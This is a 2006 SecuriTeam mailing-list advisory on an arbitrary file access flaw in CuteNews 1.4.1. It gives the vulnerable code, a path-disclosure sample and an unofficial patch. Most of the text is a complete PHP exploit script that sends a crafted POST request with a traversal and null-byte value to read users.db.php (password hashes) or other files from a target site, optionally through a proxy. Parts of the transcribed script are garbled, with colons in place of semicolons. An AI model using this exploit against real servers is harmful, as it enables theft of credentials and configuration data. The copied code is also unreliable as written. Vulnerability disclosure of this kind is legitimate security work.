

[UNIX] CuteNews Arbitrary File Access (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00063.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 22 Mar 2006 09:57:00 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

CuteNews Arbitrary File Access (Exploit)

SUMMARY

<<http://cutephp.com/>> CuteNews is "a powerful and easy for using news management system that use flat files to store its database". A vulnerability within CuteNews allows remote attackers to cause the program to return the content of arbitrary files, for example users.db.php and config.php, both containing sensitive information.

DETAILS

Vulnerable Systems:

* CuteNews version 1.4.1

Input passed to the "archive" (POST,COOKIE,... method) parameter in "inc/function.php" isn't properly verified. This can be exploited to access arbitrary files (like users.db.php and config.php).

Vulnerable Code:

The following lines in \$cutepath/inc/functions.inc.php on line 7

```
if( isset($_GET['archive']) and $_GET['archive'] != "" and
!ereg("^[_a-zA-Z0-9-]{1,}$", $_GET['archive'])) { die("invalid archive
```

[UNIX] CuteNews Arbitrary File Access (Exploit)

```
characters"); }
```

You can see that CuteNews just filters:

```
$_GET['archive'] but they forgot $_POST['archive'], $COOKIE['archive']!  
and in the rest of code they use $archive instead of $_GET['archive']  
!!!?
```

For example:

```
if($archive == ""){  
$news_file = "$cutepath/data/news.txt";  
$comm_file = "$cutepath/data/comments.txt";  
}else{  
$news_file =  
"$cutepath/data/archives/$archive.news.arch";  
$comm_file =  
"$cutepath/data/archives/$archive.comments.arch";  
}  
..
```

Successful exploitation requires that "register_globals" is enabled.

Path Disclosure:

In addition, if an attacker provides a filename which not exists, the application will return some information about path of CuteNews on the server, like this:

Warning:

```
file([PATH]/cutenews/data/archives/hamid.news.arch): failed to open  
stream: No such file or directory in [PATH]\cutenews\inc\shows.inc.php on  
line 583
```

Unofficial Patch:

Change in line 8 : inc/functions.inc.php

```
if( isset($archive) and $archive != "" and !eregi("[_a-zA-Z0-9-]{1,}$",  
$archive)){ die("Patched by Hamid Ebadi -->http://hamid.ir ( Hamid  
Network Security Team )"); }  
if( isset($_REQUEST['archive']) and $_REQUEST['archive'] != "" and  
!eregi("[_a-zA-Z0-9-]{1,}$", $_REQUEST['archive'])){ die("Patched by  
Hamid Ebadi -->http://hamid.ir ( Hamid Network Security Team )"); }
```

Exploit:

```
<?php  
// Happy NEW Iranian year .  
// Happy Norouz ( PERSIAN celebration )  
// CuteNews 1.4.1 (CutePHP.com) Hash password Finder  
// by Hamid Ebadi  
// http://hamid.ir  
// Bug Discovered and Exploited by Hamid Ebadi .: Hamid Network Security  
Team .:  
// run it from your browser...
```

[UNIX] CuteNews Arbitrary File Access (Exploit)

```
// make these changes in php.ini if you have troubles with this script

//allow_call_time_pass_reference = on
//register_globals = On

error_reporting(0);
echo '<head><title>CuteNews 1.4.1 user Hash password Finder</title>
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
<style type="text/css">
<!--
body,td,th { color: #000000;}
body {background-color:EBEBEB #;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-weight: bold;

}
-->
</style></head>
<body>
<h2>CuteNews 1.4.1 (and Below) user Hash password Finder </h2>
<p class="Stile6">Security ? . </p>
<p class="Stile6">Bug Discovered and Exploited by Hamid Ebadi <a
href="http://www.hamid.ir target=" blank">.: Hamid Network Security Team
.:</a></p>
<p class="Stile5">Happy Norouz ( PERSIAN new year celebration ) Greetz to
all Iranian Hackers spacially my friends in ihsteam.com c0d3r.org
kapda.ir simorgh-ev.com hat-squad.com blacknews.ws ashiyane.com
websecurity.ir crouz.com shabgard.org hackerz.ir and ...</p>

<p class="Stile6">read this paper about <a
href="http://www.hamid.ir/security/ target=" blank">CuteNews 1.4.1
vulnerability</a></p>
<table width="84%" >
<tr>
<td width="43%">
<form name="form1" method="post"
action="$.PHP_SELF.'?path=value&host=value&".
"port=value&command=value&proxy=value">
<p>
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<p>
<input type="text" name="path">
<span class="Stile5">path (ex: /cutenews/example2.php )
</span></p>
```

[UNIX] CuteNews Arbitrary File Access (Exploit)

```
<p>
<input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)
</span></p>
<p>
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port)
</span></p>
<p>
<input type="text" name="command">
<span class="Stile5">specify a file other than
./users.db.php%00 to read </span></p>
<p>
<input type="submit" name="Submit" value="go!">
</p>
<p class="Stile5">Spacial THX : rgod at <a
href="http://rgod.altervista.org
target=" blank">http://rgod.altervista.org</a> for his great codes (i just
change few lines of RGOD old NETQUERY remote commands execution
exploit)</p>
</form></td>
</tr>
</table>
</body>
</html>';
```

```
function show($headeri)
{
$host=$ POST[host];
$path=$ POST[path];
$port=$ POST[port];
$proxy=$ POST[proxy];
$command=$ POST[command];
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
}
```

[UNIX] CuteNews Arbitrary File Access (Exploit)

```
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td> </td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}

echo "</tr></table>";
}

$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}\\b)';

if ( ($host<>"))
{
if ($port=="") {$port=80;}
if ($path=="") {$path="example2.php";}

if ($command=="") {$command="/../users.db.php%00";}
$data="archive=".$command;
if ($proxy=="")
{ $packet="POST ".$path." HTTP/1.1\\r\\n";}
else
{
$cc = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($cc==0) {
echo 'check the proxy...<br>';
die;
}
else
{ $packet="POST http://".$host.$path." HTTP/1.1\\r\\n";}
}

$packet.="Accept: */*\\r\\n";
$packet.="Referer: http://".$host.$path."\\r\\n";
$packet.="Accept-Language: it\\r\\n";
$packet.="Content-Type: application/x-www-form-urlencoded\\r\\n";
$packet.="Accept-Encoding: gzip, deflate\\r\\n";
$packet.="User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1)
Hamid/2006\\r\\n";
$packet.="Host: ".$host."\\r\\n";
$packet.="Content-Length: ".strlen($data)."\\r\\n";
$packet.="Connection: Keep-Alive\\r\\n";
$packet.="Cache-Control: no-cache\\r\\n\\r\\n";
$packet.=$data;
```

[UNIX] CuteNews Arbitrary File Access (Exploit)

```
echo '<br> Sending exploit to '.$host.'<br>':

if ($proxy=="")
{ $fp=fsockopen(gethostbyname($host),$port);}
else
{ $parts=explode(':'.$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>':
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...':
die:
}

}
echo $packet :
show($packet):
fputs($fp,$packet):

if ($proxy=="")
{ $data="":
while (!feof($fp))
{
$data.=fgets($fp):
}
}
else
{
$data="":
while ((!feof($fp)) or
(!ereg(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1):
}
}
fclose($fp):
if (ereg('HTTP/1.1 200 OK',$data))
{echo 'Exploit sent...<br> If CuteNews 1.4.1 is unpatched and
vulnerable <br>':
echo 'you will see '.htmlentities($command).' output inside
HTML...<br><br>':
}
else
{echo 'Error, see output...':}

//show($data): //debug: show output in a packet dump...
//echo nl2br(htmlentities($data)):
echo $data:
}
?>
```

[UNIX] CuteNews Arbitrary File Access (Exploit)

ADDITIONAL INFORMATION

The information has been provided by <mailto:het_ebadi@xxxxxxxx> h e.

The original article can be found at:

<http://www.hamid.ir/security/cutenews.txt>

http://www.hamid.ir/security/cutenews.txt

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.